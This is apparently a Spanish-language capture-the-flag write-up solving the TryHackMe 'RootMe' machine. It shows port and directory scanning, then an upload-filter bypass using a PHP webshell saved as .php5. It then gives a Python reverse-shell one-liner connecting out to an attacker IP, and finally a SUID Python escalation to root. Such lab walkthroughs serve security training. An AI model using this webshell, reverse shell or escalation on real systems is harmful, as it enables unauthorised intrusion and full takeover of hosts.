This page looks best with JavaScript enabled

TryHackMe - RootMe

 ·  ☕ 4 min read  ·  ✍️ sckull

RootMe es una maquina de TryHackMe aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Titulo RootMe
Info A ctf for beginners, can you root me?
Puntos 410
Dificultad Facil
Maker ReddyyZ

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Nmap 7.80 scan initiated Thu Sep 10 00:43:26 2020 as: nmap -Pn -sV -o mini_scan rootme.thm
Nmap scan report for rootme.thm (10.10.74.187)
Host is up (0.31s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 10 00:44:08 2020 -- 1 IP address (1 host up) scanned in 42.04 seconds

HTTP

Encontramos una pagina web en el puerto 80.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
6
7
kali@kali:~/thm/rootme$ gobuster dir -u http://rootme.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/css (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)

WWW-DATA - USER

En /panel encontramos un formulario para subir archivos.
image

Intentamos subir un archivo PHP que contiene una mini webshell pero nos muestra un error. Al parecer los archivos PHP no estan permitidos.
image

1
<?php echo(system($_GET['cmd'])); ?>

Cambiamos el nombre del archivo a shell.php5 e intentamos nuevamente, ahora nos muestra un mensaje de que se subio exitosamente.
image

En /uploads vemos nuestra webshell.
image

Le pasamos un comando a nuestra webshell y logramos ver el resultado de su ejecucion.
image

Ejecutamos una shell inversa utilizando nuestra webshell.

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ponemos a la escucha netcat junto a rlwrap en nuestra maquina (local).

1
rlwrap nc -lvp 1338

Logramos obtener una shell con el usuario www-data.
image

Y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion de binarios SUID y vemos a python en la lista.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
bash-4.4$ find / -perm -4000 2> /dev/null | xargs ls -lah
find / -perm -4000 2> /dev/null | xargs ls -lah
-rwsr-xr-x 1 root   root             31K Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root   root             43K Jan  8  2020 /bin/mount
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /bin/ping
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /bin/su
-rwsr-xr-x 1 root   root             27K Jan  8  2020 /bin/umount
[... REDACTED ...]
-rwsr-sr-x 1 daemon daemon           51K Feb 20  2018 /usr/bin/at
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /usr/bin/chfn
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root   root             37K Mar 22  2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root   root             37K Mar 22  2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /usr/bin/passwd
-rwsr-xr-x 1 root   root             22K Mar 27  2019 /usr/bin/pkexec
-rwsr-sr-x 1 root   root            3.5M Aug  4 17:47 /usr/bin/python
-rwsr-xr-x 1 root   root            146K Jan 31  2020 /usr/bin/sudo
-rwsr-xr-x 1 root   root             19K Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-- 1 root   messagebus       42K Jun 11 18:25 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root             10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root   root            427K Mar  4  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             14K Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root   root            111K Jul 10 14:00 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root   root             99K Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
bash-4.4$

Además de ello vemos en el archivo de historial de comandos que alguien utilizo python para ejecutar una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
bash-4.4$ cat .bash_history
id
whoami
ls
ls
cd /var
ls
cd www
ls
cat user.txt
find / -perm /4000
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
exit
bash-4.4$

Utilizamos el comando de GTFOBins - Python para ejecutar una shell como usuario root.

1
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Logramos obtener nuestra shell y nuestra flag root.txt.
image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

THM: RootMe